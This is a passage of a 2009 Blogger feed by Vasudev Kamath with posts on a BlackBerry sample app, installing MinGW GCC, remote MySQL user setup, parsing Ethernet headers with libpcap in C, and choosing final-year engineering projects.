href="http://picasaweb.google.com/lh/photo/Z5PW7vFaXn9mwFzDRHrJkA?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite" mce_href="http://picasaweb.google.com/lh/photo/Z5PW7vFaXn9mwFzDRHrJkA?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite"&gt;&lt;img alt="" mce_src="http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr5AmDrI/AAAAAAAAA30/eysMw5vXtTE/s800/screen-2.jpg" src="http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr5AmDrI/AAAAAAAAA30/eysMw5vXtTE/s800/screen-2.jpg" style="border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div mce_style="text-align: center" style="text-align: center;"&gt;&lt;span class="Apple-style-span" mce_name="strong" mce_style="font-weight: bold;" style="font-weight: bold;"&gt;Screen - 2&lt;/span&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" mce_name="strong" mce_style="font-weight: bold;" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Ok I have used JDE v4.5 since my system memory doesn't allow me to run the latest version JDEv4.7. And one good thing about BlackBerry is applications are always forward compatible so if you developed the application using v4.5 it will run without any problem in higher version but vice versa doesn't hold good :)&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1660733262065051135?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/08/blackberry-sample-application.html#comment-form' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1660733262065051135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1660733262065051135'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/08/blackberry-sample-application.html' title='Blackberry Sample Application'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_Pms4ehFPMfI/SnVPr7VOMlI/AAAAAAAAA34/noPIXlpc-EU/s72-c/screen-1.jpg' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-4192179958274902884</id><published>2009-07-26T09:09:00.000-07:00</published><updated>2009-07-26T09:09:09.206-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MinGW gcc'/><title type='text'>Installing GCC on Windows (MinGW)</title><content type='html'>&lt;span style="font-family: 'Lucida Grande'; font-size: x-large;"&gt;&lt;span class="Apple-style-span" style="font-size: 22px; white-space: pre;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 16px; white-space: normal;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Lucida Grande'; font-size: x-large;"&gt;&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;span style="font-family: Arial;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman'; font-size: 16px; line-height: normal;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial;"&gt;&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;div mce_style="text-align: justify; " style="text-align: justify;"&gt;I wanted to install the GCC on Windows to compile some Objective C programs. Though there is Dev C++ from BloodShed &amp;nbsp;developers but its development is froze back in 2005. So I planned to go with installing MinGW GCC on Windows XP.&amp;nbsp;&lt;a href="http://mingw.org/" mce_href="http://mingw.org/" target="_blank"&gt;MinGW&lt;/a&gt;&amp;nbsp;stands for Minimalist GNU for Windows. So I visited the wiki link of MinGW to find&amp;nbsp;&lt;a href="http://mingw.org/wiki/HOWTO_Install_the_MinGW_GCC_Compiler_Suite" mce_href="http://mingw.org/wiki/HOWTO_Install_the_MinGW_GCC_Compiler_Suite" target="_blank"&gt;how to install GCC suite for Windows&lt;/a&gt;. There is manual installation but I suggest you to download the .exe file for installation. Well reason is its not easy to &amp;nbsp;configure manually the settings required for GCC on Windows, I tried but got confused as &amp;nbsp;to where to extract files and folders and which environment variables to set.&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;First download the&amp;nbsp;MinGW-5.1.4.exe from this&amp;nbsp;&lt;a href="http://sourceforge.net/projects/mingw/files/" mce_href="http://sourceforge.net/projects/mingw/files/" target="_blank"&gt;link&amp;nbsp;&lt;/a&gt;. Then double click on the file click on next, select download and install option and click next. &amp;nbsp;Click next and you will be provided with list of compilers available, by default it will be installing only MinGW32 runtime. Select compilers which you want and click next. Software will try to download the required archive files but it may fail to and tell you to check your internet connection this is because software is still in proposed state. So in that case download the following packages manually&lt;/div&gt;&lt;ul mce_style="text-align: justify;" style="text-align: justify;"&gt;&lt;li&gt;GNU Binutils&lt;/li&gt;&lt;li&gt;GCC Version 3&lt;/li&gt;&lt;li&gt;MINGW Runtime&lt;/li&gt;&lt;li&gt;Windows 32 API&lt;/li&gt;&lt;/ul&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;This is the required software for gcc if you want other compilers you can dowload them from the above link and select those software in installation screen.&amp;nbsp;&lt;span mce_style="color: #ff0000;" style="color: red;"&gt;Note: You should keep these softwares in the same directory as the&amp;nbsp;MinGW-5.1.4.exe.&lt;/span&gt;&lt;/div&gt;&lt;div mce_style="text-align: justify;" style="text-align: justify;"&gt;In this case it wont go for download directly go for installation without any download. Once its done just add the bin directory to your Path variable so that you can use gcc any where on the system. Default installation path will be &amp;nbsp;C:\MinGW.&lt;/div&gt;&lt;table border="0" class="mceItemTable" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;"&gt;&lt;a href="http://picasaweb.google.com/lh/photo/d33tkVPR2rSqwgQ49VRmNg?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite" mce_href="http://picasaweb.google.com/lh/photo/d33tkVPR2rSqwgQ49VRmNg?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite"&gt;&lt;div style="text-align: center;"&gt;&lt;img alt="" mce_src="http://lh6.ggpht.com/_Pms4ehFPMfI/Smx9W7Ba1LI/AAAAAAAAA3A/oFC8OnSvc3k/s512/untitled1.JPG" src="http://lh6.ggpht.com/_Pms4ehFPMfI/Smx9W7Ba1LI/AAAAAAAAA3A/oFC8OnSvc3k/s512/untitled1.JPG" style="border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;" /&gt;&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td mce_style="font-family:arial,sans-serif; font-size:11px; text-align:right" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: arial, sans-serif; font-size: 11px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px; text-align: right;"&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table border="0" class="mceItemTable" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; cursor: default; width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px;"&gt;&lt;a href="http://picasaweb.google.com/lh/photo/WbwVzhUB7WAnf33uxIC4NQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite" mce_href="http://picasaweb.google.com/lh/photo/WbwVzhUB7WAnf33uxIC4NQ?authkey=Gv1sRgCLvX78q25sKLjgE&amp;amp;feat=embedwebsite"&gt;&lt;img alt="" mce_src="http://lh4.ggpht.com/_Pms4ehFPMfI/Smx9U9MANDI/AAAAAAAAA28/W-qyAAq0SJo/s512/untitled2.JPG" src="http://lh4.ggpht.com/_Pms4ehFPMfI/Smx9U9MANDI/AAAAAAAAA28/W-qyAAq0SJo/s512/untitled2.JPG" style="border-bottom-width: 0px; border-color: initial; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-style: initial; border-top-width: 0px;" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td mce_style="font-family:arial,sans-serif; font-size:11px; text-align:right" style="border-bottom-color: rgb(187, 187, 187); border-bottom-style: dashed; border-bottom-width: 1px; border-left-color: rgb(187, 187, 187); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(187, 187, 187); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(187, 187, 187); border-top-style: dashed; border-top-width: 1px; color: black; cursor: text; font-family: arial, sans-serif; font-size: 11px; margin-bottom: 8px; margin-left: 8px; margin-right: 8px; margin-top: 8px; text-align: right;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-4192179958274902884?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/07/installing-gcc-on-windows-mingw.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4192179958274902884'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4192179958274902884'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/07/installing-gcc-on-windows-mingw.html' title='Installing GCC on Windows (MinGW)'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_Pms4ehFPMfI/Smx9W7Ba1LI/AAAAAAAAA3A/oFC8OnSvc3k/s72-c/untitled1.JPG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7974588001960620264</id><published>2009-05-13T09:11:00.000-07:00</published><updated>2009-05-13T09:11:10.050-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='remote mysql connect'/><title type='text'>Connecting to a remote MySQL database</title><content type='html'>&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;In my project I needed to connect proxy server program running on the client machine to the MySQL database on the server machine. Each time I was trying to connect to MySQL server I was getting error message saying&lt;/div&gt;&lt;blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;span class="Apple-style-span" mce_name="em" mce_style="font-style: italic;" style="font-style: italic;"&gt;Access Denied to user net@&lt;client address="" ip=""&gt; using password(yes)&lt;/client&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;I tried to find a solution and in one of the forums they had mentioned that to connect to MySQL DB from a remote machine we need to create a MySQL user on the server as&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;someuser@&lt;span class="Apple-style-span" mce_name="em" mce_style="font-style: italic;" style="font-style: italic;"&gt;&lt;remote-machine-ip&gt;&lt;/remote-machine-ip&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Since my client program is designed to run on many client machine in parallel creating a user for each client is not feasible and also client machines will be getting IP address from DHCP its not possible to create&amp;nbsp;&lt;span class="Apple-style-span" mce_name="em" mce_style="font-style: italic;" style="font-style: italic;"&gt;user@&lt;ip-address&gt;.&lt;/ip-address&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Finally I tried the regular expression of SQL i.e. % which literally means anything (ip,hostname or anything). So I created a user in the server as follows&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;&lt;code&gt;CREATE USER 'net'@'%' IDENTIFIED BY 'some password'&lt;br /&gt;GRANT ALL PRIVILEGES ON some_db.* TO 'net'@'%';&lt;/code&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Well that did it now I'm able to access MySQL DB from any client machine. But be careful in providing privileges to this user since it can be accessed from anywhere providing all privileges may lead to serious security issues.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7974588001960620264?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/05/connecting-to-remote-mysql-database.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7974588001960620264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7974588001960620264'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/05/connecting-to-remote-mysql-database.html' title='Connecting to a remote MySQL database'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-1825103014395170466</id><published>2009-04-26T02:37:00.000-07:00</published><updated>2009-04-26T02:37:14.889-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='parsing ehternet header'/><category scheme='http://www.blogger.com/atom/ns#' term='packet sniffer'/><title type='text'>Parsing the Captured Packets : Packet Sniffer</title><content type='html'>&lt;div style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font: normal normal normal 13px/19px Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0.6em; padding-left: 0.6em; padding-right: 0.6em; padding-top: 0.6em;"&gt;&lt;div style="text-align: justify;"&gt;In my&amp;nbsp;&lt;a href="http://vasudevkamath.techfiz.com/2009/03/30/packet-sniffer%E2%80%A6g-pcap-utility/" mce_href="http://vasudevkamath.techfiz.com/2009/03/30/packet-sniffer…g-pcap-utility/" target="_blank"&gt;previous post&lt;/a&gt;&amp;nbsp;I had mentioned about how to use pcap utilities for capturing packets. Now in this post I'm going to tell about how to parse the packet and get information from it. Before I explain the code there are few basic data structure that you need to know.&lt;br /&gt;&lt;code&gt;struct ether_header&lt;/code&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;This structure is located in&amp;nbsp;&lt;span id="" mce_style="color: #ff0000;" style="color: red;"&gt;netinet/if_ether.h&lt;/span&gt;. The main fields in this structure that we need are&amp;nbsp;&lt;span id="" mce_style="color: #ff0000;" style="color: red;"&gt;ether_shosht&amp;nbsp;&lt;/span&gt;,&amp;nbsp;&lt;span id="" mce_style="color: #ff0000;" style="color: red;"&gt;ether_dhost&lt;/span&gt;, these are used to extract the source and destination mac addresses. You need to declare &amp;nbsp;a pointer of type struct ether_header, you can assign packet by simply assigning the type casted pointer which points to the packet as shown below.&lt;br /&gt;&lt;code&gt;struct ether_header *eptr;&lt;br /&gt;eptr = (struct ether_header *)packet; // packet is of type u_char *&lt;/code&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I had a lot of trouble in extracting the mac address from the packet and storing it in the form x:x:x:x:x:x . I found my own crude way of doing it and was succeeded in it also. I did as follows.&lt;br /&gt;&lt;code&gt;i = ETHER_ADDR_LEN; // i = 6 bytes&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_shost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(src_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_src,src_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;/code&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;The expression&amp;nbsp;(i == ETHER_ADDR_LEN)?" ":":",*ptr ++) I got it from one of the references from&amp;nbsp;&lt;span id="" mce_style="color: #ff0000;" style="color: red;"&gt;tcpdump.org&lt;/span&gt;. But they were simply printing the value on to screen and I want to store them into variable. I tried using sprintf to copy value into the variable directly from the expression. But each time the value was getting replaced by new value so what I did was to concatenate the value entered into the variable by sprintf into a new variable. After the loop finishes execution 2nd variable contains the mac address in the form x:x:x:x:x:x.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Below is the code for the function I used to parse the ethernet header of the packet I captured.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;void Parse_Etherenet_Header(struct pkt_info *pktinfo,const struct pcap_pkthdr pkthdr,const u_char *packet)&lt;br /&gt;{&lt;br /&gt;char src_mac[50],dest_mac[50];&lt;br /&gt;struct ether_header *ethernet_header;&lt;br /&gt;int i;&lt;br /&gt;u_char *ptr;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;src_mac[0] = dest_mac[0] = '\0';&lt;br /&gt;/* Initialise the Time stamp */&lt;br /&gt;strcpy(pktinfo -&amp;gt; tm_stmp,(char *)ctime((const time_t*)&amp;amp;pkthdr.ts.tv_sec));&lt;br /&gt;pktinfo-&amp;gt;tm_stmp[strlen(pktinfo-&amp;gt;tm_stmp) - 1] = '\0';&lt;br /&gt;ethernet_header = (struct ether_header *)packet;&lt;br /&gt;/* Extract the Source Mac Address */&lt;br /&gt;i = ETHER_ADDR_LEN; // i = 6 bytes&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_shost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(src_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_src,src_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;br /&gt;/* Extract the Destination Mac Address */&lt;br /&gt;i = ETHER_ADDR_LEN;&lt;br /&gt;ptr = ethernet_header-&amp;gt;ether_dhost;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;sprintf(dest_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);&lt;br /&gt;strcat(pktinfo-&amp;gt;eth_dest,dest_mac);&lt;br /&gt;}while(--i &amp;gt; 0);&lt;/code&gt;&lt;br /&gt;&lt;code&gt;}&lt;/code&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;If you folks find out any mistake in the code above or if you have better way to implement the above function do comment. :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In my next post I'll discuss about parsing the rest of the packet that is IP, TCP/UDP portions.&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-1825103014395170466?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/04/parsing-captured-packets-packet-sniffer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1825103014395170466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/1825103014395170466'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/04/parsing-captured-packets-packet-sniffer.html' title='Parsing the Captured Packets : Packet Sniffer'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7182555292909336832</id><published>2009-04-19T03:15:00.000-07:00</published><updated>2009-04-19T03:15:16.557-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='engineering sudies'/><category scheme='http://www.blogger.com/atom/ns#' term='tgmc'/><category scheme='http://www.blogger.com/atom/ns#' term='hpnadig'/><title type='text'>Problem that most of Final year Engineering student's face</title><content type='html'>&lt;div style="text-align: justify;"&gt;Well I don't know how perfect i'm to write on this topic. I just want to share what does I think of this topic. This is my first non technical topic on the blog. As you all know in our final year engineering (8th semester) we need to do project. Following are the question students will get when they think of project&lt;/div&gt;&lt;ul&gt;&lt;li&gt;What is project actually means?&lt;/li&gt;&lt;li&gt;What project shall we do?&lt;/li&gt;&lt;li&gt;In which language we need to do?&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;and the set of questions will continue without any limit. Even I had this questions in my mind. Thanks to the IBM's TGMC project competition which allowed me find out answers for few of my questions, I submitted my so called 1st project in 7th semester to TGMC competition and also surprisingly got selected to 2nd round :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt; TGMC project was completely based on IBM's technologies like WASCE, DB2 Eclipse(now opensource). This project really gave me exposure to all the new technology. Real benifit I gained was when I went for 2nd round project presentation in Bangalore which gave me idea of where we (students from South Canara) are actually standing compared to the students in Bangalore. Also it let me understand what are the mistakes we made in coding and understanding our project, standards which we should have followed during coding the project. "In simple words I'm benifited a lot from the TGMC event I can't say how much".&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Next I should thank &lt;a href="http://hpnadig.net/"&gt;Hari Prasad Nadig&lt;/a&gt; an independent software developer, contributor to Evolution mail client and the person who started the Kannada community website &lt;a href="http://sampada.net/"&gt;Sampada&lt;/a&gt;. He taught me how to understand the problem statement of a project. How to start working on project. Previously during TGMC project I never thought of any of these points blindly jumped into coding. He even introduced me to most of the Linux technologies which allows you to tackle any problem.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Most of the students don't like to use Linux as platform for their project. According to them Linux is meant only for geeks and master minds. Others don't like to use Linux technologies beause you need to use your brain to do many tasks, on other hand if you use the technology like .NET you don't have to do many things just drag and drop and select options and it will write the code for you. For such students my question is what did you achive or learnt in doing your project other than learning how to use .NET ;). I'm not blaming them for using .NET technology its their wish but I like to do things on my own and give some work to my brain.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now the main thing which I wanted it to discuss is some students still not sure what technology to use in their project even after 2 months of the semester is over. The main problem is they have some idea in their mind but it is not refined. What they need is a good guidance like one which I got from H.P Nadig or at least exposure to the events like TGMC and of the most is they should have some interest in the work they are doing. Though each team will be having a faculty guides, sometimes the faculty themselves lack such knowledge though they may be good in teaching.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Though we can clear the project phase of the engineering easily the main question which remains in the mind is what we have achived in our 4 year Engineering studies?.. (At least in few minds)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7182555292909336832?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2009/04/problem-that-most-of-final-year.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7182555292909336832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7182555292909336832'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2009/04/problem-that-most-of-final-year.html' title='Problem that most of Final year Engineering student&apos;s face'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6950405551065104901</id><published>2009-03-30T08:35:00.000-07:00</published><updated>2009-12-26T23:40:13.440-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packet sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='pcap utility'/><title type='text'>Packet sniffer using pcap utility</title><content type='html'>&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;As a part of my project I needed to do a packet sniffer. Ifirst thought of using RAW SOCKETS for this purpose but later found that they have portability issue. Then I came accross pcap utility from tcpdump.org. Each distro has support for this utility. You need to get package libpcap-dev (i.e pcap development package). I did the coding in Debian Lenny so I needed to execute following command to get pcap library for my system.&lt;/div&gt;&lt;blockquote&gt;apt-get install libpcap*&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;To get the executable of your program you need to link it pcap library during the compilation which is done by providing -lpcap switch to the gcc or cc compiler.&lt;/div&gt;&lt;blockquote&gt;gcc -ggdb main.c -o sniffer -lpcap&lt;/blockquote&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;-ggdb switch generates file containing debugging symbols used by gdb utility.&lt;/div&gt;&lt;div mce_style="text-align: justify" style="text-align: justify;"&gt;Ok before jumping into coding part we need to know about few basic data structures and functions that we will use in the coding part. Let me start with a simple example.&lt;img class="mceWPmore 